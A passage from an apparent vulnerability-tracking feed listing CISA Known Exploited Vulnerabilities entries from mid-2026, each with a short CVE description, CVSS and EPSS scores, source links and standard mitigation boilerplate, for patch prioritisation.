FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-46817&date=2026-10-25
CVE Program CNA oracle: https://cveawg.mitre.org/api/cve/CVE-2026-46817
CISA added this entry on 2026-07-15. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Jul 15, 2026; federal due date Jul 18, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### KNX Association KNX Protocol Connection Authorization Option 1 Overly Restrictive Account Lockout Mechanism Vulnerability
https://kevwire.com/record/CVE-2023-4346
KNX Association KNX Protocol Connection Authorization Option 1 Overly Restrictive Account Lockout Mechanism Vulnerability (Jul 15, 2026).
KNX Association KNX Protocol Connection Authorization Option 1 contains an overly restrictive account lockout mechanism vulnerability that could allow an attacker to purge all devices without additional security options enabled and set a BCU key to lock the device.
CVSS 7.5 (version 3.1; evidence as of Aug 29, 2023; https://cveawg.mitre.org/api/cve/CVE-2023-4346).
EPSS 1.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2023-4346&date=2026-10-25).
Sources:
CISA KEV entry CVE-2023-4346: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2023-4346&date=2026-10-25
CVE Program CNA icscert: https://cveawg.mitre.org/api/cve/CVE-2023-4346
CISA added this entry on 2026-07-15. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Jul 15, 2026; federal due date Jul 29, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Microsoft Active Directory Federation Services Insufficient Granularity of Access Control Vulnerability
https://kevwire.com/record/CVE-2026-56155
Microsoft Active Directory Federation Services Insufficient Granularity of Access Control Vulnerability (Jul 14, 2026).
Microsoft Active Directory Federation Services contains an insufficient granularity of access control vulnerability that allows an authorized attacker to elevate privileges locally.
CVSS 7.8 (version 3.1; evidence as of Oct 8, 2026; https://cveawg.mitre.org/api/cve/CVE-2026-56155).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-56155&date=2026-10-25).
Sources:
CISA KEV entry CVE-2026-56155: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-56155&date=2026-10-25
CVE Program CNA microsoft: https://cveawg.mitre.org/api/cve/CVE-2026-56155
CISA added this entry on 2026-07-14. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Jul 14, 2026; federal due date Jul 28, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Microsoft SharePoint Server Missing Authentication for Critical Function Vulnerability
https://kevwire.com/record/CVE-2026-56164
Microsoft SharePoint Server Missing Authentication for Critical Function Vulnerability (Jul 14, 2026).
Microsoft SharePoint contains a missing authentication for critical function vulnerability that allows an unauthorized attacker to elevate privileges over a network.
CVSS 5.3 (version 3.1; evidence as of Oct 8, 2026; https://cveawg.mitre.org/api/cve/CVE-2026-56164).
EPSS 1.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-56164&date=2026-10-25).
Sources:
CISA KEV entry CVE-2026-56164: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-56164&date=2026-10-25
CVE Program CNA microsoft: https://cveawg.mitre.org/api/cve/CVE-2026-56164
CISA added this entry on 2026-07-14. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Jul 14, 2026; federal due date Jul 17, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### SonicWall SMA1000 Appliances Server-Side Request Forgery Vulnerability
https://kevwire.com/record/CVE-2026-15409
SonicWall SMA1000 Appliances Server-Side Request Forgery Vulnerability (Jul 14, 2026).
SonicWall SMA1000 Appliances contain a server-side request forgery vulnerability that could allow a remote unauthenticated attacker to potentially cause the appliance to make requests to unintended location.
CVSS 10.0 (version 3.1; evidence as of Aug 4, 2026; https://cveawg.mitre.org/api/cve/CVE-2026-15409).
EPSS 6.8% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-15409&date=2026-10-25).
Sources:
CISA KEV entry CVE-2026-15409: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-15409&date=2026-10-25
CVE Program ADP assessment CISA-ADP: https://cveawg.mitre.org/api/cve/CVE-2026-15409
CISA added this entry on 2026-07-14. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Jul 14, 2026; federal due date Jul 17, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### SonicWall SMA1000 Appliances Code Injection Vulnerability
https://kevwire.com/record/CVE-2026-15410
SonicWall SMA1000 Appliances Code Injection Vulnerability (Jul 14, 2026).
SonicWall SMA1000 Appliances contain a code injection vulnerability which in specific conditions could potentially enable a remote authenticated attacker as administrator to execute arbitrary OS commands.
CVSS 7.2 (version 3.1; evidence as of Aug 4, 2026; https://cveawg.mitre.org/api/cve/CVE-2026-15410).
EPSS 11.8% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-15410&date=2026-10-25).
Sources:
CISA KEV entry CVE-2026-15410: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-15410&date=2026-10-25
CVE Program ADP assessment CISA-ADP: https://cveawg.mitre.org/api/cve/CVE-2026-15410
CISA added this entry on 2026-07-14. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Jul 14, 2026; federal due date Jul 17, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Cisco IOS Cross-Site Request Forgery Vulnerability
https://kevwire.com/record/CVE-2008-4128
Cisco IOS Cross-Site Request Forgery Vulnerability (Jul 13, 2026).
Cisco IOS 12.4 contains multiple cross-site forgery vulnerabilities that allows remote attackers to execute arbitrary commands via (1) a certain "show privilege" command to the /level/15/exec/- URI, and (2) a certain "alias exec" command to the /level/15/exec/-/configure/http URI.
CVSS 8.1 (version 3.1; evidence as of Sep 24, 2026; https://cveawg.mitre.org/api/cve/CVE-2008-4128).
EPSS 33.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2008-4128&date=2026-10-25).
Sources:
CISA KEV entry CVE-2008-4128: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2008-4128&date=2026-10-25
CVE Program ADP assessment CISA-ADP: https://cveawg.mitre.org/api/cve/CVE-2008-4128
CISA added this entry on 2026-07-13. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Jul 13, 2026; federal due date Jul 16, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Balbooa Forms Unrestricted Upload of File with Dangerous Type Vulnerability
https://kevwire.com/record/CVE-2026-56291
Balbooa Forms Unrestricted Upload of File with Dangerous Type Vulnerability (Jul 10, 2026).
Balbooa Forms contains an unrestricted upload of file with dangerous type vulnerability that allows an unauthenticated arbitrary file upload which could allow uploading of executable files leading to full RCE.
CVSS 10.0 (version 4.0; evidence as of Aug 12, 2026; https://cveawg.mitre.org/api/cve/CVE-2026-56291).
EPSS 14.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-56291&date=2026-10-25).
Sources:
CISA KEV entry CVE-2026-56291: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-56291&date=2026-10-25
CVE Program CNA Joomla: https://cveawg.mitre.org/api/cve/CVE-2026-56291
CISA added this entry on 2026-07-10. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Jul 10, 2026; federal due date Jul 13, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### iCagenda Unrestricted Upload of File with Dangerous Type Vulnerability
https://kevwire.com/record/CVE-2026-48939
iCagenda Unrestricted Upload of File with Dangerous Type Vulnerability (Jul 10, 2026).
iCagenda contains an unrestricted upload of file with dangerous type vulnerability that allows the upload of arbitrary files in the file attachment feature, ultimately resulting in PHP code upload and execution.
CVSS 10.0 (version 4.0; evidence as of Aug 12, 2026; https://cveawg.mitre.org/api/cve/CVE-2026-48939).
EPSS 20.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-48939&date=2026-10-25).
Sources:
CISA KEV entry CVE-2026-48939: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-48939&date=2026-10-25
CVE Program CNA Joomla: https://cveawg.mitre.org/api/cve/CVE-2026-48939
CISA added this entry on 2026-07-10. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Jul 10, 2026; federal due date Jul 13, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### JoomShaper SP Page Builder Unrestricted Upload of File with Dangerous Type Vulnerability
https://kevwire.com/record/CVE-2026-48908
JoomShaper SP Page Builder Unrestricted Upload of File with Dangerous Type Vulnerability (Jul 7, 2026).
JoomShaper SP Page Builder contains an unrestricted upload of file with dangerous type vulnerability that allows unauthenticated users to upload arbitrary files, ultimately resulting in the upload and execution of PHP code.
CVSS 10.0 (version 4.0; evidence as of Oct 8, 2026; https://cveawg.mitre.org/api/cve/CVE-2026-48908).
EPSS 88.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-48908&date=2026-10-25).
Sources:
CISA KEV entry CVE-2026-48908: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-48908&date=2026-10-25
CVE Program CNA Joomla: https://cveawg.mitre.org/api/cve/CVE-2026-48908
CISA added this entry on 2026-07-07. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Jul 7, 2026; federal due date Jul 10, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Langflow Authorization Bypass Through User-Controlled Key Vulnerability
https://kevwire.com/record/CVE-2026-55255
Langflow Authorization Bypass Through User-Controlled Key Vulnerability (Jul 7, 2026).
Langflow contains an authorization bypass through user-controlled key vulnerability which allows an authenticated attacker to execute any flow belonging to another user by specifying the victim's flow ID in the request.
CVSS 8.4 (version 3.1; evidence as of Jul 7, 2026; https://cveawg.mitre.org/api/cve/CVE-2026-55255).
EPSS 0.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-55255&date=2026-10-25).
Sources:
CISA KEV entry CVE-2026-55255: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-55255&date=2026-10-25
CVE Program CNA GitHub_M: https://cveawg.mitre.org/api/cve/CVE-2026-55255
CISA added this entry on 2026-07-07. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Jul 7, 2026; federal due date Jul 10, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Joomlack Page Builder Improper Access Control Vulnerability
https://kevwire.com/record/CVE-2026-56290
Joomlack Page Builder Improper Access Control Vulnerability (Jul 7, 2026).
Joomlack Page Builder contains an improper access control vulnerability that could allow for remote code execution via unauthenticated arbitrary file upload.
CVSS 10.0 (version 4.0; evidence as of Oct 8, 2026; https://cveawg.mitre.org/api/cve/CVE-2026-56290).
EPSS 30.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-56290&date=2026-10-25).
Sources:
CISA KEV entry CVE-2026-56290: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-56290&date=2026-10-25
CVE Program CNA Joomla: https://cveawg.mitre.org/api/cve/CVE-2026-56290
CISA added this entry on 2026-07-07. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Jul 7, 2026; federal due date Jul 10, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Adobe ColdFusion Path Traversal Vulnerability
https://kevwire.com/record/CVE-2026-48282
Adobe ColdFusion Path Traversal Vulnerability (Jul 7, 2026).
Adobe ColdFusion contains a path traversal vulnerability that could lead to arbitrary code execution in the context of the current user.
CVSS 10.0 (version 3.1; evidence as of Aug 27, 2026; https://cveawg.mitre.org/api/cve/CVE-2026-48282).
EPSS 42.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-48282&date=2026-10-25).
Sources:
CISA KEV entry CVE-2026-48282: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-48282&date=2026-10-25
CVE Program CNA adobe: https://cveawg.mitre.org/api/cve/CVE-2026-48282
CISA added this entry on 2026-07-07. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Jul 7, 2026; federal due date Jul 10, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Microsoft SharePoint Server Deserialization of Untrusted Data Vulnerability
https://kevwire.com/record/CVE-2026-45659
Microsoft SharePoint Server Deserialization of Untrusted Data Vulnerability (Jul 1, 2026).
Microsoft SharePoint Server contains a deserialization of untrusted data vulnerability which allows an authorized attacker to execute code over a network.
CVSS 8.8 (version 3.1; evidence as of Aug 10, 2026; https://cveawg.mitre.org/api/cve/CVE-2026-45659).
EPSS 80.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-45659&date=2026-10-25).
Sources:
CISA KEV entry CVE-2026-45659: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-45659&date=2026-10-25
CVE Program CNA microsoft: https://cveawg.mitre.org/api/cve/CVE-2026-45659
CISA added this entry on 2026-07-01. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Jul 1, 2026; federal due date Jul 4, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### SimpleHelp Authentication Bypass Vulnerability
https://kevwire.com/record/CVE-2026-48558
SimpleHelp Authentication Bypass Vulnerability (Jun 29, 2026).
SimpleHelp contains an authentication bypass vulnerability in the OIDC authentication flow. When OIDC authentication is configured, identity tokens submitted during login are accepted without verifying their cryptographic signature. In a vulnerable configuration, a remote, unauthenticated attacker can submit a forged token containing arbitrary identity claims to obtain a fully authenticated technician session. In some configurations, this may also allow bypass of multi-factor authentication.
CVSS 9.5 (version 4.0; evidence as of Jul 14, 2026; https://cveawg.mitre.org/api/cve/CVE-2026-48558).
EPSS 77.7% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-48558&date=2026-10-25).
Sources:
CISA KEV entry CVE-2026-48558: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-48558&date=2026-10-25
CVE Program CNA VulnCheck: https://cveawg.mitre.org/api/cve/CVE-2026-48558
CISA added this entry on 2026-06-29. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Jun 29, 2026; federal due date Jul 2, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### PTC Windchill and FlexPLM Improper Input Validation Vulnerability
https://kevwire.com/record/CVE-2026-12569
PTC Windchill and FlexPLM Improper Input Validation Vulnerability (Jun 25, 2026).
PTC Windchill and FlexPLM contains an improper input validation vulnerability allowing an unauthenticated, remote attacker to execute arbitrary code by sending a malicious request to the network.
CVSS 9.3 (version 4.0; evidence as of Jun 18, 2026; https://cveawg.mitre.org/api/cve/CVE-2026-12569).
EPSS 46.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-12569&date=2026-10-25).
Sources:
CISA KEV entry CVE-2026-12569: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-12569&date=2026-10-25
CVE Program CNA PTC: https://cveawg.mitre.org/api/cve/CVE-2026-12569
CISA added this entry on 2026-06-25. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Jun 25, 2026; federal due date Jun 28, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Cisco Unified Communications Manager Server-Side Request Forgery (SSRF) Vulnerability
https://kevwire.com/record/CVE-2026-20230
Cisco Unified Communications Manager Server-Side Request Forgery (SSRF) Vulnerability (Jun 25, 2026).
Cisco Unified Communications Manager (Unified CM) and Cisco Unified Communications Manager Session Management Edition (Unified CM SME) contain a server-side request forgery (SSRF) Vulnerability that could allow an unauthenticated, remote attacker to write files to the underlying operating system that could be used later to elevate to root.
CVSS 8.6 (version 3.1; evidence as of Jul 1, 2026; https://cveawg.mitre.org/api/cve/CVE-2026-20230).
EPSS 88.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-20230&date=2026-10-25).
Sources:
CISA KEV entry CVE-2026-20230: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-20230&date=2026-10-25
CVE Program CNA cisco: https://cveawg.mitre.org/api/cve/CVE-2026-20230
CISA added this entry on 2026-06-25. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Jun 25, 2026; federal due date Jun 28, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Lantronix EDS5000 Code Injection Vulnerability
https://kevwire.com/record/CVE-2025-67038
Lantronix EDS5000 Code Injection Vulnerability (Jun 23, 2026).
Lantronix EDS5000 contains a code injection vulnerability that could allow attackers to inject arbitrary OS commands into the username parameter. Injected commands are executed with root privileges.
CVSS 9.3 (version 4.0; evidence as of Sep 4, 2026; https://cveawg.mitre.org/api/cve/CVE-2025-67038).
EPSS 20.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2025-67038&date=2026-10-25).
Sources:
CISA KEV entry CVE-2025-67038: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2025-67038&date=2026-10-25
CVE Program CNA icscert: https://cveawg.mitre.org/api/cve/CVE-2025-67038
CISA added this entry on 2026-06-23. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
